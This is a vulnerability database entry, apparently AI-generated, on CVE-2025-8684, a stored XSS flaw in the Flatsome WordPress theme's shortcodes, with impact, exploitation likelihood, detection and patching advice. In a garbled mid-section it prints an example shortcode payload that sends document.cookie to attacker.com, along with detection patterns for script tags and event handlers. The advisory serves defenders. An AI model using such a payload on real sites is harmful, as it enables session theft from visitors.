
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-8684 is a Stored Cross-Site Scripting (XSS) vulnerability in the Flatsome Theme for WordPress, affecting all versions up to and including 3.20.0. The flaw stems from insufficient input sanitization and output escaping on user-supplied attributes within the theme's shortcodes. Authenticated attackers with contributor-level access or above can inject arbitrary web scripts into pages, which execute whenever any user visits the affected page. It was published on September 5, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The root cause is that the Flatsome theme's shortcode handlers fail to properly sanitize user-supplied attributes before rendering them in HTML output, allowing malicious script content to be stored in the database and later served to site visitors. Exploitation requires network access and a low-privilege authenticated account (contributor or higher), with no additional complexity or user interaction required beyond a victim loading the injected page. No public proof-of-concept code has been identified at this time (Wordfence, EUVD).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit pages containing the injected shortcode content, impacting both confidentiality and integrity (CVSS scope: Changed). Potential consequences include session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, and delivery of further malware payloads to site visitors. Availability is not directly impacted, but the persistent nature of stored XSS means all visitors to affected pages are at risk until the malicious content is removed (Wordfence, EUVD).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-8684 as of the available data. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. Exploitation requires at minimum a contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Wordfence Weekly Report).
[shortcode attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"]).wp-admin/post.php or REST API endpoints from contributor-level accounts containing encoded script tags or JavaScript event handlers in shortcode attribute fields.<script> tags, javascript: URIs, or HTML event handler attributes (e.g., onerror=, onload=) stored within post content or shortcode attributes in the wp_posts table.Users should update the Flatsome theme to a version beyond 3.20.0 that includes a fix for this vulnerability; consult the official Flatsome changelog on ThemeForest for the patched release (Flatsome Changelog). As a temporary workaround, restrict contributor-level user registration and limit the ability of untrusted users to create or edit posts/pages until the patch is applied. Site administrators should also audit existing content for any injected scripts in shortcode attributes (Wordfence).
Wordfence disclosed and reported this vulnerability, including it in their weekly WordPress vulnerability report for September 1–7, 2025 (Wordfence Weekly Report). Red Hat and ENISA's EUVD also tracked the CVE, reflecting standard cross-database propagation. No notable independent researcher commentary or significant social media discussion has been identified beyond routine vulnerability aggregator coverage.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."